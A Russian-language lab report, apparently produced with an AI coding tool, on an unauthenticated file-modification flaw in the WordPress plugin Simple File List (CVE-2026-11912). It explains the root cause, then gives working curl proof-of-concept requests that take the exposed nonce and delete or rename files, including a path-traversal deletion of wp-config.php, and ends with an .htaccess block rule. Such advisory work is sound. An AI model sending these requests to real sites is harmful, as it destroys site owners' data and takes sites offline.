
Отсутствие авторизации для неаутентифицированного изменения файлов
| Поле | Значение |
|---|---|
| CVE ID | CVE-2026-11912 |
| Оценка CVSS | 7.5 (Высокий) |
| Вектор CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| Затронутый плагин | Simple File List |
| Затронутые версии | <= 6.3.7 |
| Исправленная версия | 6.3.8 |
| Опубликовано | 19 июня 2026 |
| Исследователь | Chloe Chamberland - Wordfence |
| Лабораторная среда | poloss-lab.ddev.site (DDEV) |
Плагин Simple File List для WordPress подвержен возможности произвольного изменения файлов из-за недостаточных проверок авторизации во всех версиях до 6.3.7 включительно. Это позволяет неавторизованным злоумышленникам удалять и изменять файлы на сервере.
Уязвимость существует по следующим причинам:
Регистрация AJAX-точки: AJAX-действие simplefilelist_edit_job регистрируется с обоими хуками wp_ajax_ и wp_ajax_nopriv_, что разрешает неавторизованный доступ:
add_action('wp_ajax_simplefilelist_edit_job', 'simplefilelist_edit_job');
add_action('wp_ajax_nopriv_simplefilelist_edit_job', 'simplefilelist_edit_job');
Несовершенная проверка авторизации: Логика авторизации в eeSFL_FileEditor() (строка 1265) использует:
if(!is_admin() AND $eeSFL->eeListSettings['AllowFrontManage'] != 'YES') {
return;
}
Функция is_admin() возвращает FALSE для AJAX-запросов, из-за чего проверка авторизации прерывается до оценки настройки AllowFrontManage.
Раскрытие nonce: Защитный nonce (eeSFL_ActionNonce) генерируется с помощью wp_create_nonce() и отображается в HTML-коде интерфейса, что позволяет злоумышленникам извлечь его без аутентификации.
В ходе тестирования данная уязвимость была успешно использована для УДАЛЕНИЯ конфигурационного файла WordPress (wp-config.php), что полностью нарушило работу сайта. Это демонстрирует критическую серьезность аспекта обхода пути в данной уязвимости.
# Получение защитного nonce со страницы списка файлов
curl -k -sL "https://poloss-lab.ddev.site/file-list/" | grep -o 'eeSFL_ActionNonce">[^<]*'
# Вывод: eeSFL_ActionNonce">1c14af78c2
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Delete" \
-d "eeFileName=test.txt"
# Ответ: SUCCESS
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Edit" \
-d "eeFileName=original.pdf" \
-d "eeFileNameNew=malicious.pdf"
# Ответ: SUCCESS
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Delete" \
-d "eeFileName=../../wp-config.php"
# Ответ: SUCCESS (КРИТИЧЕСКОЕ - Это нарушает работу сайта!)
[eeSFL]# Block simplefilelist_edit_job AJAX calls
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{QUERY_STRING} action=simplefilelist_edit_job
RewriteRule ^wp-admin/admin-ajax\.php$ - [F,L]
</IfModule>
Отчет создан с помощью Claude Code - Лаборатория тестирования безопасности WordPress Дата: 20 июня 2026